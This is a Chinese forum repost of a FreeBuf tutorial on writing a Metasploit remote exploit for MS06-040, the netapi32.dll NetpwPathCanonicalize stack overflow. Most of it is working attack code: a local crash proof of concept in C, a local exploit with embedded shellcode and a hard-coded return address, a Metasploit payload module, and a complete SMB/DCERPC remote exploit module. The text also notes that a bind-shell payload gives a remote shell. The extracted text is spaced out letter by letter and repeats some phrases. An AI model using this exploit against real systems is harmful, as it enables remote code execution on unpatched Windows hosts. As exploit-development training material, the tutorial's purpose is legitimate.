搜索

[12266] 2018-01-21_远程RPC溢出EXP编写实战之MS06-040

文档创建者：s7ckTeam
浏览次数：22
最后更新：2025-01-18
2018-01-21_远程RPC溢出EXP编写实战之MS06-040 远 程 R P C 溢 出 E X P 编 写 实 战 之 M S 0 6 - 0 4 0 w o o y 0 u n g   F r e e B u f   2 0 1 8 - 0 1 - 2 1 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： w o o y 0 u n g ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 0 x 0 1   前 言 前 言 M S 0 6 - 0 4 0 算 是 个 比 较 老 的 洞 了 ， 在 当 年 影 响 十 分 之 广 ， 基 本 上 算 是 个 比 较 老 的 洞 了 ， 在 当 年 影 响 十 分 之 广 ， 基 本 上 M i c r o s o f t 大 部 分 操 作 系 统 都 受 到 了 影 响 ， 威 力 大 部 分 操 作 系 统 都 受 到 了 影 响 ， 威 力 不 亚 于 不 亚 于 1 7 年 爆 出 的 年 爆 出 的 ” 永 恒 之 蓝 永 恒 之 蓝 ” 漏 洞 。 漏 洞 成 因 是 漏 洞 。 漏 洞 成 因 是 W i n d o w s 中 参 与 中 参 与 s o c k e t 网 络 的 网 络 的 n e t a p i 3 2 . d l l 动 态 链 接 库 里 的 一 个 动 态 链 接 库 里 的 一 个 导 出 函 数 导 出 函 数 N e t p w P a t h C a n o n i c a l i z e ( ) 存 在 栈 溢 出 ， 而 且 这 个 函 数 能 够 通 过 存 在 栈 溢 出 ， 而 且 这 个 函 数 能 够 通 过 R P C 远 程 调 用 。 由 于 是 栈 溢 出 利 用 起 来 远 程 调 用 。 由 于 是 栈 溢 出 利 用 起 来 不 算 太 复 杂 ， 正 好 用 来 实 践 编 写 不 算 太 复 杂 ， 正 好 用 来 实 践 编 写 m e t a s p l o i t 的 远 程 利 用 脚 本 。 的 远 程 利 用 脚 本 。 0 x 0 2   前 期 准 备 前 期 准 备 1 .   W i n d o w s   X P   P r o f e s s i o n a l   s p 3 ( 非 必 需 ， 我 因 为 V C 6 安 装 在 这 上 面 ， 只 是 用 来 编 译 P O C ) 2 .   W i n d o w s   2 0 0 0   P r o f e s s i o n a l   s p 0 ( 其 他 系 统 版 本 可 能 需 要 重 新 调 试 ， 更 高 版 本 可 能 需 要 绕 过 部 分 安 全 机 制 ) 3 .   K a l i   L i n u x   x 6 4 ( 安 装 有 m e t a s p l o i t   f r a m e w o r k   l a t e s t ) 4 .   调 试 器 ： O l l y d b g   1 . 1 0 5 .   编 译 器 :   V C + +   6 . 0 6 .   反 编 译 器 :   I D A   6 . 8 7 .   注 意 :   需 要 未 打 补 丁 的 n e t a p i 3 2 . d l l ， W i n d o w s   2 0 0 0 在 C : W I N N T s y s t e m 3 2 目 录 下 能 找 到 ， 或 者 用 以 下 提 供 的 d l l ， 但 远 程 e x p l o i t 必 须 要 带 有 未 打 补 丁 d l l 的 系 统 。 相 关 下 载 ： 链 接 : h t t p s : / / p a n . b a i d u . c o m / s / 1 q Z Q 1 v n Y   密 码 : 5 s t q 0 x 0 3   定 位 崩 溃 点 定 位 崩 溃 点 V C + +   6 . 0 编 译 P O C ,   运 行
程 序 崩 溃 掉 ,   O D 附 加 上 去 ,   E I P 被 ” a a a a ” 填 充 执 行 文 件 拖 到 O D ,   单 步 来 到 c a l l   n e t a p i 3 2 . N e t p w P a t h C a n o n i c a l i z e ,   再 往 下 程 序 崩 掉 跟 进 N e t p w P a t h C a n o n i c a l i z e 函 数 ,   执 行 M S V C R T . w c s c a t ,   当 r e t n 时 程 序 再 次 崩 溃 此 处 应 该 就 是 崩 溃 点 ,   在 I D A 定 位 到 该 函 数 c o p y ” b b b b b b … ” 串 到 栈 上 “ b b b b b … ” 串 尾 部 拼 接 一 个 0 x 0 0 5 C 继 续 拼 接 ” a a a a a … ” 串 ,   覆 盖 返 回 地 址 0 x 0 4   本 地 本 地 e x p l o i t 漏 洞 的 成 因 是 在 p r e f i x 串 的 基 础 上 拼 接 p a t h 串 时 没 有 长 度 检 查 ， 导 致 栈 溢 出 。 下 面 通 过 构 造 p r e f i x 、 p a t h 串 实 现 本 地 e x p l o i t 。 # i n c l u d e " s t d a f x . h " # i n c l u d e   < w i n d o w s . h > t y p e d e f   v o i d   ( * M Y P R O C ) ( L P T S T R ,   c h a r   * ,   i n t ,   c h a r   * ,   l o n g   * ,   b o o l ) ; i n t   m a i n ( ) {                 c h a r   p a t h [ 0 x 3 2 0 ] ;         c h a r   c a n _ p a t h [ 0 x 4 4 0 ] ;         i n t   m a x b u f = 0 x 4 4 0 ;         c h a r   p r e f i x [ 0 x 1 0 0 ] ;         l o n g   p a t h t y p e = 4 4 ;         H I N S T A N C E   L i b H a n d l e ;         M Y P R O C   T r i g g e r ;         c h a r   d l l [   ]   =   " . / n e t a p i 3 2 . d l l " ;         c h a r   V u l F u n c [   ]   =   " N e t p w P a t h C a n o n i c a l i z e " ;         L i b H a n d l e   =   L o a d L i b r a r y ( d l l ) ;         T r i g g e r   =   ( M Y P R O C )   G e t P r o c A d d r e s s ( L i b H a n d l e ,   V u l F u n c ) ;         m e m s e t ( p a t h , 0 , s i z e o f ( p a t h ) ) ;         m e m s e t ( p a t h , ' a ' , s i z e o f ( p a t h ) - 2 ) ;         m e m s e t ( p r e f i x , 0 , s i z e o f ( p r e f i x ) ) ;         m e m s e t ( p r e f i x , ' b ' , s i z e o f ( p r e f i x ) - 2 ) ;         ( T r i g g e r ) ( p a t h , c a n _ p a t h , m a x b u f , p r e f i x   , & p a t h t y p e , 0 ) ;         F r e e L i b r a r y ( L i b H a n d l e ) ;         r e t u r n   0 ; }
观 察 在 崩 溃 函 数 r e t n 时 ,   e c x 指 向 缓 冲 区 的 开 始 。 这 样 可 以 把 s h e l l c o d e 布 置 在 ” b b b b b b … . ” 串 里 ,   用 一 条 c a l l / j m p   e c x 跳 到 栈 上 执 行 p w n ~ 0 x 0 5   远 程 远 程 e x p l o i t 很 好 ， 现 在 已 经 能 够 本 地 溢 出 N e t p w P a t h C a n o n i c a l i z e ( ) 函 数 ， 下 面 我 们 利 用 m e t a s p l o i t 提 供 的 类 库 来 写 一 份 远 程 e x p / /   m s 0 6 _ 0 4 0 _ e x p . c p p   :   D e f i n e s   t h e   e n t r y   p o i n t   f o r   t h e   c o n s o l e   a p p l i c a t i o n . / / # i n c l u d e   " s t d a f x . h " # i n c l u d e   < w i n d o w s . h > t y p e d e f   v o i d   ( * M Y P R O C ) ( L P T S T R ,   c h a r   * ,   i n t ,   c h a r   * ,   l o n g   * ,   b o o l ) ; c h a r   s h e l l c o d e [ ] = " x 3 1 x d 2 x b 2 x 3 0 x 6 4 x 8 b x 1 2 x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 c x 8 b x 4 2 x 0 8 " " x 8 b x 7 2 x 2 0 x 8 b x 1 2 x 8 0 x 7 e x 0 c x 3 3 x 7 5 x f 2 x 8 9 x c 7 x 0 3 x 7 8 x 3 c " " x 8 b x 5 7 x 7 8 x 0 1 x c 2 x 8 b x 7 a x 2 0 x 0 1 x c 7 x 3 1 x e d x 8 b x 3 4 x a f x 0 1 " " x c 6 x 4 5 x 8 1 x 3 e x 4 6 x 6 1 x 7 4 x 6 1 x 7 5 x f 2 x 8 1 x 7 e x 0 8 x 4 5 x 7 8 x 6 9 " " x 7 4 x 7 5 x e 9 x 8 b x 7 a x 2 4 x 0 1 x c 7 x 6 6 x 8 b x 2 c x 6 f x 8 b x 7 a x 1 c x 0 1 " " x c 7 x 8 b x 7 c x a f x f c x 0 1 x c 7 x 6 8 x 6 7 x 2 0 x 2 0 x 0 1 x 6 8 x 7 9 x 3 0 x 7 5 " " x 6 e x 6 8 x 2 0 x 7 7 x 6 f x 6 f x 8 9 x e 1 x f e x 4 9 x 0 b x 3 1 x c 0 x 5 1 x 5 0 x f f " " x d 7 " ;         / /   弹 框 i n t   m a i n ( ) {                 c h a r   p a t h [ 0 x 3 2 0 ] ;         c h a r   c a n _ p a t h [ 0 x 4 4 0 ] ;         i n t   m a x b u f = 0 x 4 4 0 ;         c h a r   p r e f i x [ 0 x 1 0 0 ] ;         l o n g   p a t h t y p e = 4 4 ;         H I N S T A N C E   L i b H a n d l e ;         M Y P R O C   T r i g g e r ;         c h a r   d l l [ ]   =   " . / n e t a p i 3 2 . d l l " ;         c h a r   V u l F u n c [ ]   =   " N e t p w P a t h C a n o n i c a l i z e " ;         L i b H a n d l e   =   L o a d L i b r a r y ( d l l ) ;         T r i g g e r   =   ( M Y P R O C )   G e t P r o c A d d r e s s ( L i b H a n d l e ,   V u l F u n c ) ;         m e m s e t ( p a t h , 0 , s i z e o f ( p a t h ) ) ;         m e m s e t ( p a t h , 0 x 9 0 , s i z e o f ( p a t h ) - 2 ) ;         m e m s e t ( p r e f i x , 0 , s i z e o f ( p r e f i x ) ) ;         m e m s e t ( p r e f i x , ' a ' , s i z e o f ( p r e f i x ) - 2 ) ;         m e m c p y ( p r e f i x , s h e l l c o d e , 1 1 3 ) ;         p a t h [ 0 x 3 1 8 ] = 0 x F 9 ;                 / /   c a l l   e c x ， 可 能 需 要 调 试 确 定         p a t h [ 0 x 3 1 9 ] = 0 x 5 2 ;         p a t h [ 0 x 3 1 A ] = 0 x 1 8 ;         p a t h [ 0 x 3 1 B ] = 0 x 7 5 ;         ( T r i g g e r ) ( p a t h , c a n _ p a t h , m a x b u f , p r e f i x , & p a t h t y p e , 0 ) ;         F r e e L i b r a r y ( L i b H a n d l e ) ;         r e t u r n   0 ; }
以 上 是 一 段 弹 出 警 告 框 的 p a y l o a d ， 新 建 一 个 文 本 贴 入 以 上 代 码 ， 保 存 为 w a r n i n g . r b 。 # # #   A u t h o r :   w o o y 0 u n g #   D a t e :         2 0 1 8 / 0 1 / 1 5 # # r e q u i r e   ' m s f / c o r e ' m o d u l e   M e t a s p l o i t 3     C a c h e d S i z e   =   2 0 0     i n c l u d e   M s f : : P a y l o a d : : S i n g l e     d e f   i n i t i a l i z e ( i n f o   =   { } )         s u p e r ( m e r g e _ i n f o ( i n f o ,             ' N a m e '                     = >   ' W i n d o w s   W a r n i n g   B o x ' ,             ' D e s c r i p t i o n '       = >   ' O n l y   f o r   V e r s i o n   u n d e r   W i n d o w s   7 ' ,             ' A u t h o r '                 = >   [   ' w o o y 0 u n g '   ] ,             ' P l a t f o r m '             = >   ' w i n ' ,             ' A r c h '                     = >   A R C H _ X 8 6 ,             ' P a y l o a d '               = >                 {                     ' P a y l o a d '   = >                               " x 3 1 x d 2 x b 2 x 3 0 x 6 4 x 8 b x 1 2 x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 c x 8 b x 4 2 x 0 8 " +                 " x 8 b x 7 2 x 2 0 x 8 b x 1 2 x 8 0 x 7 e x 0 c x 3 3 x 7 5 x f 2 x 8 9 x c 7 x 0 3 x 7 8 x 3 c " +                 " x 8 b x 5 7 x 7 8 x 0 1 x c 2 x 8 b x 7 a x 2 0 x 0 1 x c 7 x 3 1 x e d x 8 b x 3 4 x a f x 0 1 " +                 " x c 6 x 4 5 x 8 1 x 3 e x 4 6 x 6 1 x 7 4 x 6 1 x 7 5 x f 2 x 8 1 x 7 e x 0 8 x 4 5 x 7 8 x 6 9 " +                 " x 7 4 x 7 5 x e 9 x 8 b x 7 a x 2 4 x 0 1 x c 7 x 6 6 x 8 b x 2 c x 6 f x 8 b x 7 a x 1 c x 0 1 " +                 " x c 7 x 8 b x 7 c x a f x f c x 0 1 x c 7 x 6 8 x 6 7 x 2 0 x 2 0 x 0 1 x 6 8 x 7 9 x 3 0 x 7 5 " +                 " x 6 e x 6 8 x 2 0 x 7 7 x 6 f x 6 f x 8 9 x e 1 x f e x 4 9 x 0 b x 3 1 x c 0 x 5 1 x 5 0 x f f " +                 " x d 7 "                 }             ) )     e n d e n d
以 上 则 是 利 用 脚 本 ， 保 存 为 m s 0 6 _ 0 4 0 . r b ， 主 要 是 构 造 s h e l l c o d e ( 在 p a t h 做 R O P ， 跳 到 p r e f i x 中 执 行 p a y l o a d ) ， 在 W i n d o w s   2 0 0 0 下 利 用 起 来 比 较 容 易 ， 不 再 作 解 释 。 选 择 之 前 保 存 的 e x p 和 p a y l o a d ， 设 置 好 靶 机 i p ， p w n ~ 当 然 ， 将 普 通 弹 框 换 成 b i n d _ s h e l l 的 p a y l o a d 就 可 以 拿 到 s h e l l 了 ~ # # #   A u t h o r :   w o o y 0 u n g #   D a t e :         2 0 1 8 / 0 1 / 1 5 # # r e q u i r e   ' m s f / c o r e '     c l a s s   M e t a s p l o i t 3   <   M s f : : E x p l o i t : : R e m o t e             R a n k   =   G o o d R a n k i n g         i n c l u d e   E x p l o i t : : R e m o t e : : D C E R P C         i n c l u d e   E x p l o i t : : R e m o t e : : S M B : : C l i e n t         d e f   i n i t i a l i z e ( i n f o   =   { } )                 s u p e r ( u p d a t e _ i n f o ( i n f o ,                         ' N a m e '                       = >           " M S 0 6 - 0 4 0   R P C   E x p l o i t " ,                         ' D e s c r i p t i o n '         = >           ' O n l y   f o r   W i n d o w s   2 0 0 0   P r o f e s s i o n a l   s p 0 ' ,                                             ' A u t h o r '                   = >           [   ' w o o y 0 u n g '   ] ,                         ' P l a t f o r m '               = >         " w i n " ,                         ' D e f a u l t O p t i o n s '   = >         { ' E X I T F U N C '   = >   ' t h r e a d ' , } ,                         ' D e f a u l t T a r g e t '     = >           0 ,                         ' T a r g e t s '                 = >         [ [ ' W i n d o w s   2 0 0 0   P r o f e s s i o n a l   s p 0 ' ,     { ' R e t '   = >   [ 0 x 3 1 8   ,   0 x 7 4 F B 6 2 C 3 ]   } ] ] ) )                 r e g i s t e r _ o p t i o n s ( [ O p t S t r i n g . n e w ( ' S M B P I P E ' ,   [   t r u e ,     " T h e   p i p e   n a m e   t o   u s e   ( B R O W S E R ,   S R V S V C ) " ,   ' B R O W S E R ' ] ) , ] ,   s e l f . c l a s s )           e n d         d e f   e x p l o i t                 c o n n e c t ( )                 s m b _ l o g i n ( )                 h a n d l e   =   d c e r p c _ h a n d l e ( ' 4 b 3 2 4 f c 8 - 1 6 7 0 - 0 1 d 3 - 1 2 7 8 - 5 a 4 7 b f 6 e e 1 8 8 ' , ' 3 . 0 ' , ' n c a c n _ n p ' , [ " # { d a t a s t o r e [ ' S M B P I P E ' ] } " ] )                 d c e r p c _ b i n d ( h a n d l e )                 p r e f i x   =   p a y l o a d . e n c o d e d   +   m a k e _ n o p s ( 0 x 1 0 0   -   p a y l o a d . e n c o d e d . l e n g t h   -   2 )   +   " x 0 0 x 0 0 "                 p a t h   =   m a k e _ n o p s ( 0 x 3 1 8 )   +   [ t a r g e t [ ' R e t ' ] [ 1 ] ] . p a c k ( ' V ' )   +                   " x 0 4 x D 0 x F D x 7 F "   *   5   +                 #   可 写 地 址 ( 这 里 原 本 是 崩 溃 函 数 传 入 的 5 个 参 数 )                 " x 6 6 x 8 1 x E C x 3 0 x 0 4 "   +                 #   s u b   e s p , 4 3 0   ( 0 x 1 0 0   +   0 x 3 1 8   +   4   *   6   =   0 x 4 3 0   将 e s p 指 向 p a y l o a d 起 始 )                 " x 8 B x C 4 "   +                                   #   m o v   e a x ,   e s p                 " x F F x E 4 "   +                                 #   j m p   e s p                 " x 0 0 x 0 0 "                                 #   U n i c o d e 结 束 符                 s t u b   =         N D R . l o n g ( r a n d ( 0 x f f f f f f f f ) )   +                         N D R . U n i c o d e C o n f o r m a n t V a r y i n g S t r i n g ( ' ' )   +                         N D R . U n i c o d e C o n f o r m a n t V a r y i n g S t r i n g P r e B u i l t ( p a t h )   +                         N D R . l o n g ( r a n d ( 2 5 0 ) + 1 )   +                         N D R . U n i c o d e C o n f o r m a n t V a r y i n g S t r i n g P r e B u i l t ( p r e f i x )   +                         N D R . l o n g ( r a n d ( 2 5 0 ) + 1 )   +                         N D R . l o n g ( 0 )                         b e g i n                             d c e r p c . c a l l ( 0 x 1 f ,   s t u b ,   f a l s e )                         r e s c u e   R e x : : P r o t o : : D C E R P C : : E x c e p t i o n s : : N o R e s p o n s e                         r e s c u e   = >   e                             i f   e . t o _ s   ! ~   / S T A T U S _ P I P E _ D I S C O N N E C T E D /                                     r a i s e   e                             e n d                                 e n d                       h a n d l e r                               d i s c o n n e c t             e n d     e n d
0 x 0 6   后 记 后 记 看 了 m e t a s p l o i t 的 e x p l o i t s 模 块 里 M S 0 6 - 0 4 0 的 利 用 脚 本 ， 发 现 这 个 洞 一 直 影 响 到 X P 和 S e r v e r   2 0 0 3 版 本 。 因 为 主 要 是 为 了 练 习 写 m e t a s p l o i t 框 架 的 e x p ， 所 以 就 不 继 续 延 伸 了 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： w o o y 0 u n g ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理